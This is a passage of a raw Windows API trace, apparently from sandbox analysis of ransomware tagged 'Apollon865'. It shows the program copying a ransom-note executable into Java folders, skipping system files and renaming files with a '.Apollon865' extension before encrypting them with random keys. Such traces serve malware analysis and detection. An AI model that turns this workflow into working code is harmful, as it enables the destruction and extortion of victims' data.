	[0055.296] lstrcmpiW (lpString1="LucidaTypewriterBold.ttf", lpString2=".dll") returned 1
	[0055.296] lstrlenW (lpString=".lnk") returned 4
	[0055.296] lstrcmpiW (lpString1="LucidaTypewriterBold.ttf", lpString2=".lnk") returned 1
	[0055.296] lstrlenW (lpString=".ini") returned 4
	[0055.296] lstrcmpiW (lpString1="LucidaTypewriterBold.ttf", lpString2=".ini") returned 1
	[0055.296] lstrlenW (lpString=".sys") returned 4
	[0055.296] lstrcmpiW (lpString1="LucidaTypewriterBold.ttf", lpString2=".sys") returned 1
	[0055.296] lstrlenW (lpString="LucidaTypewriterBold.ttf") returned 24
	[0055.296] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="LucidaTypewriterRegular.ttf" | out: lpString1="LucidaTypewriterRegular.ttf") returned="LucidaTypewriterRegular.ttf"
	[0055.296] lstrlenW (lpString="LucidaTypewriterRegular.ttf") returned 27
	[0055.296] lstrlenW (lpString="Apollon865") returned 10
	[0055.296] lstrcmpiW (lpString1="egular.ttf", lpString2="Apollon865") returned 1
	[0055.296] lstrlenW (lpString=".dll") returned 4
	[0055.296] lstrcmpiW (lpString1="LucidaTypewriterRegular.ttf", lpString2=".dll") returned 1
	[0055.296] lstrlenW (lpString=".lnk") returned 4
	[0055.296] lstrcmpiW (lpString1="LucidaTypewriterRegular.ttf", lpString2=".lnk") returned 1
	[0055.296] lstrlenW (lpString=".ini") returned 4
	[0055.296] lstrcmpiW (lpString1="LucidaTypewriterRegular.ttf", lpString2=".ini") returned 1
	[0055.296] lstrlenW (lpString=".sys") returned 4
	[0055.296] lstrcmpiW (lpString1="LucidaTypewriterRegular.ttf", lpString2=".sys") returned 1
	[0055.297] lstrlenW (lpString="LucidaTypewriterRegular.ttf") returned 27
	[0055.297] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext"
	[0055.297] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x598588 | out: hHeap=0x580000) returned 1
	[0055.297] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a48 | out: hHeap=0x580000) returned 1
	[0055.297] lstrlenW (lpString="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext") returned 40
	[0055.297] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext" | out: lpString1="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext"
	[0055.297] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0055.297] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\ext\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0055.304] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0055.304] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x3907fcf0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3907fcf0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0055.304] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.304] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0055.304] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0055.304] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x3907fcf0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3907fcf0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0055.304] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.304] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0055.305] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0055.305] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0055.305] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x148f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="access-bridge-32.jar", cAlternateFileName="ACCESS~1.JAR")) returned 1
	[0055.305] lstrcmpiW (lpString1="access-bridge-32.jar", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.305] lstrcmpiW (lpString1="access-bridge-32.jar", lpString2="Apollon865.txt.exe") returned -1
	[0055.305] lstrcmpiW (lpString1="access-bridge-32.jar", lpString2=".") returned 1
	[0055.305] lstrcmpiW (lpString1="access-bridge-32.jar", lpString2="..") returned 1
	[0055.305] lstrcmpiW (lpString1="access-bridge-32.jar", lpString2="windows") returned -1
	[0055.305] lstrcmpiW (lpString1="access-bridge-32.jar", lpString2="bootmgr") returned -1
	[0055.305] lstrcmpiW (lpString1="access-bridge-32.jar", lpString2="temp") returned -1
	[0055.305] lstrcmpiW (lpString1="access-bridge-32.jar", lpString2="pagefile.sys") returned -1
	[0055.305] lstrcmpiW (lpString1="access-bridge-32.jar", lpString2="boot") returned -1
	[0055.305] lstrcmpiW (lpString1="access-bridge-32.jar", lpString2="ids.txt") returned -1
	[0055.305] lstrcmpiW (lpString1="access-bridge-32.jar", lpString2="ntuser.dat") returned -1
	[0055.305] lstrcmpiW (lpString1="access-bridge-32.jar", lpString2="perflogs") returned -1
	[0055.305] lstrcmpiW (lpString1="access-bridge-32.jar", lpString2="MSBuild") returned -1
	[0055.305] lstrlenW (lpString="access-bridge-32.jar") returned 20
	[0055.305] lstrlenW (lpString="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\*") returned 42
	[0055.305] lstrcpyW (in: lpString1=0x2d3e5a2, lpString2="access-bridge-32.jar" | out: lpString1="access-bridge-32.jar") returned="access-bridge-32.jar"
	[0055.305] lstrlenW (lpString="access-bridge-32.jar") returned 20
	[0055.305] lstrlenW (lpString="Apollon865") returned 10
	[0055.305] lstrcmpiW (lpString1="dge-32.jar", lpString2="Apollon865") returned 1
	[0055.305] lstrlenW (lpString=".dll") returned 4
	[0055.305] lstrcmpiW (lpString1="access-bridge-32.jar", lpString2=".dll") returned 1
	[0055.305] lstrlenW (lpString=".lnk") returned 4
	[0055.305] lstrcmpiW (lpString1="access-bridge-32.jar", lpString2=".lnk") returned 1
	[0055.305] lstrlenW (lpString=".ini") returned 4
	[0055.305] lstrcmpiW (lpString1="access-bridge-32.jar", lpString2=".ini") returned 1
	[0055.305] lstrlenW (lpString=".sys") returned 4
	[0055.305] lstrcmpiW (lpString1="access-bridge-32.jar", lpString2=".sys") returned 1
	[0055.305] lstrlenW (lpString="access-bridge-32.jar") returned 20
	[0055.306] lstrcpyW (in: lpString1=0x2d3e5a2, lpString2="dnsns.jar" | out: lpString1="dnsns.jar") returned="dnsns.jar"
	[0055.306] lstrlenW (lpString="dnsns.jar") returned 9
	[0055.306] lstrlenW (lpString="Apollon865") returned 10
	[0055.306] lstrlenW (lpString=".dll") returned 4
	[0055.306] lstrcmpiW (lpString1="dnsns.jar", lpString2=".dll") returned 1
	[0055.306] lstrlenW (lpString=".lnk") returned 4
	[0055.306] lstrcmpiW (lpString1="dnsns.jar", lpString2=".lnk") returned 1
	[0055.306] lstrlenW (lpString=".ini") returned 4
	[0055.306] lstrcmpiW (lpString1="dnsns.jar", lpString2=".ini") returned 1
	[0055.306] lstrlenW (lpString=".sys") returned 4
	[0055.306] lstrcmpiW (lpString1="dnsns.jar", lpString2=".sys") returned 1
	[0055.306] lstrlenW (lpString="dnsns.jar") returned 9
	[0055.306] lstrcpyW (in: lpString1=0x2d3e5a2, lpString2="jaccess.jar" | out: lpString1="jaccess.jar") returned="jaccess.jar"
	[0055.306] lstrlenW (lpString="jaccess.jar") returned 11
	[0055.306] lstrlenW (lpString="Apollon865") returned 10
	[0055.306] lstrcmpiW (lpString1="access.jar", lpString2="Apollon865") returned -1
	[0055.306] lstrlenW (lpString=".dll") returned 4
	[0055.306] lstrcmpiW (lpString1="jaccess.jar", lpString2=".dll") returned 1
	[0055.306] lstrlenW (lpString=".lnk") returned 4
	[0055.306] lstrcmpiW (lpString1="jaccess.jar", lpString2=".lnk") returned 1
	[0055.306] lstrlenW (lpString=".ini") returned 4
	[0055.306] lstrcmpiW (lpString1="jaccess.jar", lpString2=".ini") returned 1
	[0055.306] lstrlenW (lpString=".sys") returned 4
	[0055.306] lstrcmpiW (lpString1="jaccess.jar", lpString2=".sys") returned 1
	[0055.306] lstrlenW (lpString="jaccess.jar") returned 11
	[0055.306] lstrcpyW (in: lpString1=0x2d3e5a2, lpString2="localedata.jar" | out: lpString1="localedata.jar") returned="localedata.jar"
	[0055.306] lstrlenW (lpString="localedata.jar") returned 14
	[0055.306] lstrlenW (lpString="Apollon865") returned 10
	[0055.306] lstrcmpiW (lpString1="ledata.jar", lpString2="Apollon865") returned 1
	[0055.306] lstrlenW (lpString=".dll") returned 4
	[0055.306] lstrcmpiW (lpString1="localedata.jar", lpString2=".dll") returned 1
	[0055.306] lstrlenW (lpString=".lnk") returned 4
	[0055.307] lstrcmpiW (lpString1="localedata.jar", lpString2=".lnk") returned 1
	[0055.307] lstrlenW (lpString=".ini") returned 4
	[0055.307] lstrcmpiW (lpString1="localedata.jar", lpString2=".ini") returned 1
	[0055.307] lstrlenW (lpString=".sys") returned 4
	[0055.307] lstrcmpiW (lpString1="localedata.jar", lpString2=".sys") returned 1
	[0055.307] lstrlenW (lpString="localedata.jar") returned 14
	[0055.307] lstrcpyW (in: lpString1=0x2d3e5a2, lpString2="meta-index" | out: lpString1="meta-index") returned="meta-index"
	[0055.307] lstrlenW (lpString="meta-index") returned 10
	[0055.307] lstrlenW (lpString="Apollon865") returned 10
	[0055.307] lstrlenW (lpString=".dll") returned 4
	[0055.307] lstrcmpiW (lpString1="meta-index", lpString2=".dll") returned 1
	[0055.307] lstrlenW (lpString=".lnk") returned 4
	[0055.307] lstrcmpiW (lpString1="meta-index", lpString2=".lnk") returned 1
	[0055.307] lstrlenW (lpString=".ini") returned 4
	[0055.307] lstrcmpiW (lpString1="meta-index", lpString2=".ini") returned 1
	[0055.307] lstrlenW (lpString=".sys") returned 4
	[0055.307] lstrcmpiW (lpString1="meta-index", lpString2=".sys") returned 1
	[0055.307] lstrlenW (lpString="meta-index") returned 10
	[0055.307] lstrcpyW (in: lpString1=0x2d3e5a2, lpString2="sunec.jar" | out: lpString1="sunec.jar") returned="sunec.jar"
	[0055.307] lstrlenW (lpString="sunec.jar") returned 9
	[0055.307] lstrlenW (lpString="Apollon865") returned 10
	[0055.307] lstrlenW (lpString=".dll") returned 4
	[0055.307] lstrcmpiW (lpString1="sunec.jar", lpString2=".dll") returned 1
	[0055.307] lstrlenW (lpString=".lnk") returned 4
	[0055.307] lstrcmpiW (lpString1="sunec.jar", lpString2=".lnk") returned 1
	[0055.307] lstrlenW (lpString=".ini") returned 4
	[0055.307] lstrcmpiW (lpString1="sunec.jar", lpString2=".ini") returned 1
	[0055.307] lstrlenW (lpString=".sys") returned 4
	[0055.307] lstrcmpiW (lpString1="sunec.jar", lpString2=".sys") returned 1
	[0055.307] lstrlenW (lpString="sunec.jar") returned 9
	[0055.307] lstrcpyW (in: lpString1=0x2d3e5a2, lpString2="sunjce_provider.jar" | out: lpString1="sunjce_provider.jar") returned="sunjce_provider.jar"
	[0055.308] lstrlenW (lpString="sunjce_provider.jar") returned 19
	[0055.308] lstrlenW (lpString="Apollon865") returned 10
	[0055.308] lstrcmpiW (lpString1="ovider.jar", lpString2="Apollon865") returned 1
	[0055.308] lstrlenW (lpString=".dll") returned 4
	[0055.308] lstrcmpiW (lpString1="sunjce_provider.jar", lpString2=".dll") returned 1
	[0055.308] lstrlenW (lpString=".lnk") returned 4
	[0055.308] lstrcmpiW (lpString1="sunjce_provider.jar", lpString2=".lnk") returned 1
	[0055.308] lstrlenW (lpString=".ini") returned 4
	[0055.308] lstrcmpiW (lpString1="sunjce_provider.jar", lpString2=".ini") returned 1
	[0055.308] lstrlenW (lpString=".sys") returned 4
	[0055.308] lstrcmpiW (lpString1="sunjce_provider.jar", lpString2=".sys") returned 1
	[0055.308] lstrlenW (lpString="sunjce_provider.jar") returned 19
	[0055.308] lstrcpyW (in: lpString1=0x2d3e5a2, lpString2="sunmscapi.jar" | out: lpString1="sunmscapi.jar") returned="sunmscapi.jar"
	[0055.308] lstrlenW (lpString="sunmscapi.jar") returned 13
	[0055.308] lstrlenW (lpString="Apollon865") returned 10
	[0055.308] lstrcmpiW (lpString1="mscapi.jar", lpString2="Apollon865") returned 1
	[0055.308] lstrlenW (lpString=".dll") returned 4
	[0055.308] lstrcmpiW (lpString1="sunmscapi.jar", lpString2=".dll") returned 1
	[0055.308] lstrlenW (lpString=".lnk") returned 4
	[0055.308] lstrcmpiW (lpString1="sunmscapi.jar", lpString2=".lnk") returned 1
	[0055.308] lstrlenW (lpString=".ini") returned 4
	[0055.308] lstrcmpiW (lpString1="sunmscapi.jar", lpString2=".ini") returned 1
	[0055.308] lstrlenW (lpString=".sys") returned 4
	[0055.308] lstrcmpiW (lpString1="sunmscapi.jar", lpString2=".sys") returned 1
	[0055.308] lstrlenW (lpString="sunmscapi.jar") returned 13
	[0055.308] lstrcpyW (in: lpString1=0x2d3e5a2, lpString2="sunpkcs11.jar" | out: lpString1="sunpkcs11.jar") returned="sunpkcs11.jar"
	[0055.308] lstrlenW (lpString="sunpkcs11.jar") returned 13
	[0055.308] lstrlenW (lpString="Apollon865") returned 10
	[0055.308] lstrcmpiW (lpString1="pkcs11.jar", lpString2="Apollon865") returned 1
	[0055.308] lstrlenW (lpString=".dll") returned 4
	[0055.308] lstrcmpiW (lpString1="sunpkcs11.jar", lpString2=".dll") returned 1
	[0055.308] lstrlenW (lpString=".lnk") returned 4
	[0055.309] lstrcmpiW (lpString1="sunpkcs11.jar", lpString2=".lnk") returned 1
	[0055.309] lstrlenW (lpString=".ini") returned 4
	[0055.309] lstrcmpiW (lpString1="sunpkcs11.jar", lpString2=".ini") returned 1
	[0055.309] lstrlenW (lpString=".sys") returned 4
	[0055.309] lstrcmpiW (lpString1="sunpkcs11.jar", lpString2=".sys") returned 1
	[0055.309] lstrlenW (lpString="sunpkcs11.jar") returned 13
	[0055.309] lstrcpyW (in: lpString1=0x2d3e5a2, lpString2="zipfs.jar" | out: lpString1="zipfs.jar") returned="zipfs.jar"
	[0055.309] lstrlenW (lpString="zipfs.jar") returned 9
	[0055.309] lstrlenW (lpString="Apollon865") returned 10
	[0055.309] lstrlenW (lpString=".dll") returned 4
	[0055.309] lstrcmpiW (lpString1="zipfs.jar", lpString2=".dll") returned 1
	[0055.309] lstrlenW (lpString=".lnk") returned 4
	[0055.309] lstrcmpiW (lpString1="zipfs.jar", lpString2=".lnk") returned 1
	[0055.309] lstrlenW (lpString=".ini") returned 4
	[0055.309] lstrcmpiW (lpString1="zipfs.jar", lpString2=".ini") returned 1
	[0055.309] lstrlenW (lpString=".sys") returned 4
	[0055.309] lstrcmpiW (lpString1="zipfs.jar", lpString2=".sys") returned 1
	[0055.309] lstrlenW (lpString="zipfs.jar") returned 9
	[0055.309] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy"
	[0055.309] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x598528 | out: hHeap=0x580000) returned 1
	[0055.309] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b79a8 | out: hHeap=0x580000) returned 1
	[0055.309] lstrlenW (lpString="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy") returned 43
	[0055.309] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy" | out: lpString1="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy"
	[0055.309] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0055.309] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\deploy\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0055.317] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0055.317] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x390a5e50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x390a5e50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0055.317] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.317] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0055.317] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0055.317] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x390a5e50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x390a5e50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0055.317] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.317] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0055.317] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0055.317] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0055.317] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x48cc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ffjcext.zip", cAlternateFileName="")) returned 1
	[0055.317] lstrcmpiW (lpString1="ffjcext.zip", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.317] lstrcmpiW (lpString1="ffjcext.zip", lpString2="Apollon865.txt.exe") returned 1
	[0055.317] lstrcmpiW (lpString1="ffjcext.zip", lpString2=".") returned 1
	[0055.317] lstrcmpiW (lpString1="ffjcext.zip", lpString2="..") returned 1
	[0055.317] lstrcmpiW (lpString1="ffjcext.zip", lpString2="windows") returned -1
	[0055.317] lstrcmpiW (lpString1="ffjcext.zip", lpString2="bootmgr") returned 1
	[0055.317] lstrcmpiW (lpString1="ffjcext.zip", lpString2="temp") returned -1
	[0055.317] lstrcmpiW (lpString1="ffjcext.zip", lpString2="pagefile.sys") returned -1
	[0055.317] lstrcmpiW (lpString1="ffjcext.zip", lpString2="boot") returned 1
	[0055.317] lstrcmpiW (lpString1="ffjcext.zip", lpString2="ids.txt") returned -1
	[0055.317] lstrcmpiW (lpString1="ffjcext.zip", lpString2="ntuser.dat") returned -1
	[0055.317] lstrcmpiW (lpString1="ffjcext.zip", lpString2="perflogs") returned -1
	[0055.317] lstrcmpiW (lpString1="ffjcext.zip", lpString2="MSBuild") returned -1
	[0055.317] lstrlenW (lpString="ffjcext.zip") returned 11
	[0055.318] lstrlenW (lpString="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\*") returned 45
	[0055.318] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="ffjcext.zip" | out: lpString1="ffjcext.zip") returned="ffjcext.zip"
	[0055.318] lstrlenW (lpString="ffjcext.zip") returned 11
	[0055.318] lstrlenW (lpString="Apollon865") returned 10
	[0055.318] lstrcmpiW (lpString1="fjcext.zip", lpString2="Apollon865") returned 1
	[0055.318] lstrlenW (lpString=".dll") returned 4
	[0055.318] lstrcmpiW (lpString1="ffjcext.zip", lpString2=".dll") returned 1
	[0055.318] lstrlenW (lpString=".lnk") returned 4
	[0055.318] lstrcmpiW (lpString1="ffjcext.zip", lpString2=".lnk") returned 1
	[0055.318] lstrlenW (lpString=".ini") returned 4
	[0055.318] lstrcmpiW (lpString1="ffjcext.zip", lpString2=".ini") returned 1
	[0055.318] lstrlenW (lpString=".sys") returned 4
	[0055.318] lstrcmpiW (lpString1="ffjcext.zip", lpString2=".sys") returned 1
	[0055.318] lstrlenW (lpString="ffjcext.zip") returned 11
	[0055.318] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\ffjcext.zip.Apollon865") returned 66
	[0055.318] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\ffjcext.zip" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\deploy\\ffjcext.zip"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\ffjcext.zip.Apollon865" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\deploy\\ffjcext.zip.apollon865"), dwFlags=0x1) returned 1
	[0055.321] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\ffjcext.zip.Apollon865" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\deploy\\ffjcext.zip.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x154
	[0055.321] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=18636) returned 1
	[0055.321] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3470020
	[0055.322] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa88
	[0055.322] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0055.322] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf788) returned 1
	[0055.322] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0055.322] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0055.323] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4bd0, lpName=0x0) returned 0x15c
	[0055.325] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4bd0) returned 0x120000
	[0055.326] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf788) returned 1
	[0055.327] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0055.327] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0055.327] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0055.327] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0055.327] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0055.327] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0055.327] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0055.327] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0055.327] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2d38
	[0055.328] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0055.328] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2d38 | out: hHeap=0x580000) returned 1
	[0055.328] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0055.328] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0055.328] CloseHandle (hObject=0x15c) returned 1
	[0055.328] CloseHandle (hObject=0x154) returned 1
	[0055.328] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa88 | out: hHeap=0x580000) returned 1
	[0055.328] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0055.328] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3470020 | out: hHeap=0x580000) returned 1
	[0055.329] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x390a5e50, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x390a5e50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0055.329] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0055.329] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="jqs", cAlternateFileName="")) returned 1
	[0055.329] lstrcmpiW (lpString1="jqs", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0055.329] lstrcmpiW (lpString1="jqs", lpString2="Apollon865.txt.exe") returned 1
	[0055.329] lstrcmpiW (lpString1="jqs", lpString2=".") returned 1
